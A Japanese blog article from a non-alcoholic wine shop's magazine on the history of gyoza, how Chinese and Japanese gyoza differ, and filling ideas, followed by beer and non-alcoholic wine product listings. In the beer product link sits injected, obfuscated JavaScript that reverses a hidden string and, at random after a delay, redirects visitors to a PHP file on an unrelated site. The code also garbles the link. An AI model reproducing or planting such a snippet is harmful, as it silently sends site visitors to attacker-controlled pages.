ノンアルコールワインを楽しむ皆様に。

   
2022/9/5 posted

ビールといえば餃子だね!餃子についてもっと知りたい

   

  ビール 楽しむ・学ぶ

 

ビールに餃子と言えば、だれもが納得する鉄板の組み合わせ。
カリっとした皮から肉汁がジュワーっと流れ出す熱々の餃子を頬張りながら冷たいビールを流し込む瞬間は、本当に至福の時ですよね!

さて、今回のMELLOW magazineでは、この餃子について、知っているようで知らなかったその歴史や、中国の餃子と日本の餃子の違い、もっと餃子を美味しくするさまざまなアレンジ方法などをご紹介いたします!

◇餃子の歴史

日本で食べられている餃子のそもそものルーツは中国ですが、実は中国は餃子の発祥地ではありません。
というのも、元々中国には小麦を食べる習慣はなく、シルクロードの交易とともに小麦食の文化が伝わってきたと考えられているからです。

小麦粉をこねて作った皮で餡を包む餃子と似た食べ物は世界各地に存在していますが、世界で最も古いものは紀元前3000年頃のメソポタミアと言われており、これがシルクロードを通って中国に伝わっていったのではないかと考えられています。

中国で最古の餃子が登場したのは、紀元前600年頃の春秋時代です。
また、唐の時代の敦煌の古墳からは、副葬品として埋められた壺の中から、小麦粉で作った皮に具を詰めて半月型に包んだ餃子と思われる食べ物が乾燥した状態で発見されています。

現在では中国全土で食べられている餃子ですが、特に小麦食が盛んな北部地方では、麺類の一種として、毎日の主食としてよく食べられています。

その餃子が日本に最初に伝わったのは江戸時代頃。
1708年に水戸藩により発行された「舜水朱氏談綺」という書物によると、1689年にカモ肉を使った餃子が、黄門様として有名な水戸光圀公に献上されたそうです。
また、1778年(安永7年)に発行された中華料理の本「卓子調烹法」にも餃子が紹介されています。
しかし、当時は餃子は現在のような人気を呼ぶことはありませんでした。

日本で餃子が国民食として本格的に普及するようになったのは案外最近のこと。実は、第二次世界大戦後以降です。
1930年代~40年代に、中国北部の満州に開拓民として移住したり、兵隊として派遣されていた人々が戦後帰国し、満州で食べていた餃子を日本でも作って食べたり、餃子店を開いて販売するようになったことがキッカケと言われています。
コストが安く、ありあわせの材料でも作れて美味しく、栄養満点な餃子は、あっという間に国民的人気料理となり、現在に至るのです。

◇中国では焼き餃子は食べないってホント?

日本では餃子といえば焼き餃子が一般的ですが、実は中国で餃子が主に食べられている中国北部地域では、お湯で茹でた水餃子が一般的。
餃子を焼くのは、食べ残して冷えてしまった水餃子を再加熱して食べる時だけなのだそうです。
また、餃子はメインの肉・魚料理のあとに出てくる主食の扱いで、餃子の主役はあくまで皮。分厚い皮に少量の餡が入ったスタイルです。
また、餡にはニンニクは入っておらず、タレの代わりに香醋(こうず)という黒いお酢をつけて食べます。

中国中部や南部では、点心などで出てくる蒸餃子として食べられることが多く、副菜やおやつのような位置づけだそうです。
いずれにしても、日本の餃子とは随分違いますね!

◇日本で独自発展した 「餃子」

それでは、中国から伝わった餃子が、なぜ日本では焼かれるようになったのでしょうか?

第二次世界大戦後、日本で餃子が売られ始めた当時は、満州での作り方に倣って水餃子として提供されていましたが、売れゆきがよくありませんでした。
ところが、焼いてみたところ人気が出たため、現在のように茹でずにそのまま焼くスタイルが定着したようです。

日本では主食はお米です。ご飯のおかずとして食べるには、水餃子よりも、味が濃くカリッと焼き上げた焼餃子の方がマッチします。
そこで日本では、おかずとしてご飯によりマッチするよう薄い皮を使い、羽根つきにパリッと焼き上げ、酢醤油をかけて食べるスタイルに変化していったのです。
また、日本の餃子の餡にニンニクが入れられているのは、餃子が日本で作られ始めるようになった当時は、品質が良くなく臭みのある肉しか手に入らなかったため、肉の臭みを消すためにニンニクを入れたのが始まりだったと言われています。

「餃子は中華料理」と思われている方がほとんどと思いますが、実は現在私たちが食べている餃子は、すでにもともとの中国の餃子から全く異なった食べ物にアレンジされています。
そういう意味では、餃子はすでに日本料理と言ってもいいのかもしれませんね!

◇一工夫でいつもよりおいしい!変わり種具いろいろ

スーパーに行けば、フライパンで焼くだけの生餃子や、きれいに羽根つきに焼ける冷凍餃子が簡単に手に入る時代ですが、家族や仲間でワイワイ言いながら包む手作り餃子はやっぱり楽しいもの。
一般的な餃子のレシピは調べれば簡単に出てきますので、ここでは、普段の餃子の餡にちょい足しするとおいしい変わり種の具のアイディアをご紹介します。

・食感系野菜

歯ごたえの良い野菜を餡に加えることで、餃子の食感に変化をつけることができます。
例えば、小さなサイの目に切ったレンコンや長芋。餡に加えると、シャキシャキした食感をプラスすることができます。
また、ひげを取って2センチ位の長さに切ったもやしを餡に混ぜても、シャキシャキ食感になって美味しいです。もやしは価格が安いので、家計にも嬉しいですね!
また、冷凍コーンを入れるとプチプチの食感に。子供にも人気の高いアレンジです。

・香り系野菜

一般的には、ニンニクやニラなどの香辛野菜を入れて香りをつける餃子ですが、他の香り系の野菜を入れると、ちょっと個性的な美味しさが楽しめます。
例えば、パクチーを入れるとエスニック風、刻んだ柚子皮や大葉を入れると和風の味わいに。
粗めのみじん切りの生姜を入れると、爽やかな香りやシャキシャキとした食感がプラスされてとても美味です。
意外なところでは、みじん切りにしたセロリを入れても、良い香りと食感が加わってとても美味しいですよ!

・お漬物

これまた意外ですが、餃子の餡に加えるととても美味しいのがお漬物。
しば漬け、福神漬、らっきょう、ザーサイ、紅生姜など、どんな種類のお漬物でも、餃子の味わいによくマッチして味のアクセントになります。
また、餃子の餡を作る時に使うキャベツや白菜を、みじん切りにしたキムチと置き換えても、ピリ辛の美味しい餃子になります。
なお、お漬物を加える際は、水分をよく絞ってから加えてくださいね。

・チーズ

小さなサイの目に切ったチーズを餡に加えると、餃子にコクがプラスされます。
また、餃子を焼いている途中に上からチーズをどっさりかけて、チーズタッカルビのように、チーズとあえながら食べるのも美味しいですよ!お子さんたちに人気のメニューになりそうですね。

・豆腐

ひき肉の半分を、水切りして潰した豆腐に置き換えて餡を作ると、豆腐ハンバーグのような、ふわっとした優しい食感の餃子になります。
たんぱく質はシッカリ補えてヘルシーな餃子のでき上がりです。

以上、さまざまな餃子の餡のアレンジをご紹介しました。
お家で餃子を作る時の参考にしてみてくださいね!

◇餃子に合わせたいベルギービールはこれだ!

MELLOW magazineのおすすめする餃子に合わせたいビールは、ベルギービールのビア・デザミー。伝統的な上面発酵と瓶内二次発酵により作られた、黄金色のブロンドエールです。
しっかりと麦芽のコクと香りが感じられる味わいに、副原料に使用したオレンジピールがフルーティーさをプラス。
エールビールですが重すぎない爽やかな飲み口は、脂っぽい餃子と合わせてもベストマッチしますよ!

またノンアルコール派には、ビアデザミーを真空蒸留により32℃という低温で蒸留し脱アルコールした、ノンアルコールビール ビア・デザミ−0.0をお薦めします。
フレーバーの熱劣化を抑えながら脱アルコールしたので、ノンアルコールながらに本格的なエールビールの味わいが楽しめます。  

ベルギー・ネオブュル社「ビア・デザミー」
【アルコール入り】

BIERE DES AMIS ビアー・デザミ・ブロンド 330ml ×24本セット
$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/item/000000000200″>→ クリックして商品を見る

【こちらもご覧ください MELLOW過去記事】
・猛暑・残暑・初秋にこそ食べたくなる!餃子とワインの超素敵マリアージュ。餃子とワインのススメ!
・熱々で美味しい中華料理とワインのマリアージュ!中華料理とワインの合わせ方
・予想外のマッチング!意外とイケるワインおつまみ10選

MELLOWは本格ワインのノンアルコールワインをオススメします!

デュク・ドゥ・モンターニュ ブリュット

デュク・ドゥ・モンターニュ ブリュット/750ml

メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
辛口でキレのある口あたり、まろやかな酸味。
アルコール度数 / 
0.0%

よりドライな口当たりのノンアルコール・スパークリングワインが欲しいという声に応える商品。青リンゴとレモンを思わせる爽やかな果実味に、まろやかな酸味。キリッとした口当たりに、爽やかなはじける炭酸。辛口タイプのノンアルコール・スパークリングワインです。

デュク・ドゥ・モンターニュ 製品

デュク・ドゥ・モンターニュ/750ml

カロリー / 
27kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
甘口
アルコール度数 / 
0.0%

ノンアルコールなのに、まるでシャンパンの味。本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。お酒が飲めない方や、妊娠・授乳中の方、ドライバーの方にも安心して楽しんでいただける商品です。

デュク・ドゥ・モンターニュ・ロゼ 製品

デュク・ドゥ・モンターニュ・ロゼ/750ml

カロリー / 
23kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや甘口
アルコール度数 / 
0.0%

本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。ロゼは、輝くようなサーモンピンクの愛らしい色合い。華やかなアロマの香りも豊かなエレガントな商品です。

ヴィンテンス・シャルドネ(白) 製品

ヴィンテンス・シャルドネ(白)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ブルゴーニュ地域を代表する品種のシャルドネを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。シトラスの香りと複雑味のある豊かな味わいをお楽しみいただけます。鶏肉などの白身肉や魚の料理と相性がよいタイプです。

ヴィンテンス・メルロー(赤) 製品

ヴィンテンス・メルロー(赤)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ボルドー地域を代表する品種のメルローを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。フルーティーながらコクがあり、ブルーベリーの風味も感じられます。赤味の肉やチーズと好相性です。

Thanks for your reading!